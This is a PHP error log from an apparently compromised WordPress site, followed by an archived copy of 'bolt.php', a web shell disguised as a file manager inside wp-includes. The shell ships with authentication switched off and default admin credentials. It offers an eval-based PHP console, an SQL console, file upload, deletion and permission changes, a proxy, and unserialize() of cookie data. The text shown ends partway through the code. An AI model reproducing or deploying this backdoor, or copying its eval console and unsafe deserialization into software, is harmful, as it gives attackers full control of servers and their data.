[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
